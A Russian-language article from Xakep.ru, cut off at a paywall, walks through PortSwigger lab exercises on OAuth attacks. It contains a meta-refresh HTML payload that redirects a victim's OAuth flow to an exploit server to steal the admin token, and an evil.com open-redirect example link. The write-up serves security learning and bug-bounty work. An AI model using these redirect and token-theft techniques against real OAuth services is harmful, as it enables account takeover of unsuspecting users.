Содержание статьи
- Что будет, если не проверять redirect_uri
- Лаба: OAuth account hijacking via redirect_uri
- Злоупотребление открытым редиректом в связке с OAuth
- Лаба: Stealing OAuth access tokens via an open redirect
- Формируем цепочки багов для повышения импакта
- Как работает PostMessage
- Burp Suite и DOM Invader
- Лаба: Stealing OAuth access tokens via a proxy page
- Выводы
Ты, например, мог слышать про Open Redirect, который часто не воспринимают всерьез и за обнаружение которого не платят Bug Bounty. Но если ты сможешь найти способ красиво заюзать его и повысить импакт до кражи аккаунта, это уже совсем другое дело.
info
О том, как устроен протокол OAuth и как эксплуатируют базовые уязвимости в нем, читай в моей предыдущей статье — «OAuth от и до. Изучаем протокол и разбираем базовые атаки на OAuth».
Что будет, если не проверять redirect_uri

Первый кейс простой. redirect_uri
— это тот параметр, который говорит серверу авторизации, на какой URL ему нужно направить токен после того, как пользователь войдет через социальную сеть и согласится дать доступ к своим ресурсам.
Приложение на первом этапе авторизации по OAuth, или, в терминологии спеки, этапе Authorization Request, формирует ссылку и указывает в качестве этого параметра подконтрольный ему эндпоинт.
Когда ты входишь через Discord на сайт Midjourney, ссылка выглядит примерно так:
<https://discord.com/login>?redirect_to=https://midjourney.com/oauth2/authorize?response_type=code&client_id=936929561302675456&redirect_uri=https://www.midjourney.com/__/auth/handler&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-zsdFLI3lv11Dlz0syNqa-sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZniAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7QgIiRQCk&scope=identify email guilds.join guilds.members.read role_connections.write&context_uri=https://www.midjourney.com
В этом запросе говорится о том, что в конце флоу сервер авторизации не только выдает код, но и должен вернуть пользователя на сайт приложения midjourney.
.
По‑хорошему в параметре redirect_uri
должен быть вайтлист ссылок, на которые можно редиректить. Такие ссылки обычно указывает владелец приложения, когда его регистрирует. Это позволяет обрубать запрос, если кто‑то подставит свой redirect_uri
.
Если вайтлиста нет, это создает пространство для манипуляций. Злоумышленник может взять ссылку из первого этапа и заменить в ней redirect_uri
подконтрольным ему сервисом, выложить ее где‑нибудь в социальных сетях и украсть токен после того, как кто‑нибудь уже авторизованный в Discord и в Midjourney перейдет по ней (то же справедливо и для других пар приложений и OAuth-провайдеров).
Сейчас мы разберем это подробнее на реальном примере.
Лаба: OAuth account hijacking via redirect_uri
Стартуем и оказываемся на главной странице со странной картинкой.

Как и раньше, проходим весь флоу с логином, чтобы собрать все запросы и спокойно проанализировать их. Заходим под аккаунтом wiener
.

И оказываемся в личном кабинете.

Флоу авторизации пройден, переходим в Burp. Находим Authorization Request (тот запрос на сервер авторизации, на который нас перенаправило приложение) и отправляем его в Repeater.
Именно в этой ссылке есть уязвимый redirect_uri
, который мы и будем эксплуатировать.

Уязвимость заключается в том, что в приложении сервера авторизации должным образом (вообще никак) не проверяется redirect_uri
. А это значит, что, подменив его, мы можем направить пользователя на собственную страницу, чтобы залогировать чужой токен.
Посмотрим, как это происходит на практике. Меняем в нашем запросе тот URI, который был указан, на адрес эксплоит‑сервера. Он выдается в лабораториях вроде этой, и его можно найти в верхнем меню.

Переходи туда, копируй ссылку и вставляй ее в качестве параметра redirect_uri
.

У меня это выглядит так.

Можно нажать правой кнопкой мыши и выбрать Copy URL, чтобы скопировать всю ссылку и посмотреть в браузере, как произойдет редирект и в логах появится наш токен.
Нигде ничего вводить уже не надо (так как мы уже вошли на всех сайтах и дали согласие), просто ты прошел цепочку редиректов, и вот уже токен залогирован на нашем эксплоит‑сервере или сервере злоумышленника.

Это наш собственный токен, а нам нужен токен администратора. Так что возвращаемся на главную страницу эксплоит‑сервера и берем ту же самую разметку с редиректом, которую мы уже использовали в лабораториях из прошлой статьи. Только на этот раз меняем URL на тот, который мы только что скрафтили, где redirect_uri
ведет на наш сервер.
У меня получилось так.
<meta http-equiv="refresh" content="0; url=https://oauth-0aa1008d031d3e2f8262ddfe02b500bd.oauth-server.net/auth?client_id=thtwm4tl3pzj84mokh19e&redirect_uri=https://exploit-0a0c001703f13e0f82e0de55011a000f.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email" />
Вставляем HTML-разметку в поле Body и сохраняем кнопкой Store.

Теперь у нас есть страница, на которую может зайти администратор, и тогда мы украдем его учетку. При посещении страницы произойдет цепочка редиректов для авторизации. Поскольку он уже залогинен в социальной сети, в конце концов он будет перенаправлен на наш сервер, где мы и залогируем его OAuth-токен из URL.
Нажимаем Deliver exploit to victim. В зависимости от нагрузки на серверы PortSwigger запрос может прийти с небольшой задержкой. Мне пришлось подождать несколько минут (в течение которых я жал одну и ту же кнопку), и в конце концов мне прилетело несколько десятков запросов с токеном администратора.

Копируем последний пришедший токен и вставляем в запрос /
. Если все пройдет нормально, сервер должен отдать куки и показать, что мы залогинены. Так и произошло. Появилась ссылка на панель администратора, а это значит, что мы не просто зашли, а зашли как админ.

Заходим через браузер, удаляем пользователя carlos
и наслаждаемся победой над еще одной лабой.

Злоупотребление открытым редиректом в связке с OAuth

Давай кратко вспомним, что вообще такое Open Redirect.
info
Open Redirect, или открытое перенаправление, — это такая уязвимость, когда веб‑приложение допускает перенаправить пользователя на произвольные внешние URL-адреса без должной проверки.
Например, у нас есть сайт Google. Он не нуждается в представлении, у него большой кредит доверия, и все компании считают, что домен google.com безопасный, поэтому дают ему некоторые послабления, добавляя в собственные белые списки.
Но если злоумышленники найдут на нем Open Redirect, то они смогут воспользоваться этим доверием и использовать его, чтобы создать ссылку на собственный C2-сервер, обходя детектирование некоторых антивирусов.
Вот пример такой ссылки:
https://www.google.com/url?sa=t&url=https://evil.com
Она была бы уязвимой, если бы сразу направляла на указанный сайт. Хорошим тоном считается предупреждать пользователя, что он покидает легитимный сайт, и не выполнять редирект без его согласия.

Сам по себе Open Redirect не очень опасен, кроме пограничного случая, связанного с вредоносами, который я описал выше. Но его часто используют в связке с эксплуатацией других веб‑уязвимостей, когда он становится по‑настоящему грозным оружием, позволяющим обходить многие фильтры, заточенные на проверку по регулярке или подстроке.
К примеру, сайт может проверять, что redirect_uri
начинается только с https://
. Если на этом example.
получится найти Open Redirect, то можно будет и пройти проверку, и эксплуатировать уязвимость, чтобы украсть токен через OAuth.
Лаба: Stealing OAuth access tokens via an open redirect
Как всегда, открываем лабораторию и попадаем на главную страницу блога.

Логинимся через социальную сеть.

Смотрим историю запросов, берем Authorization Request и пытаемся повторить трюк из предыдущей лабы — для этого заменяем redirect_uri
каким‑нибудь своим, например адресом эксплоит‑сервера.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»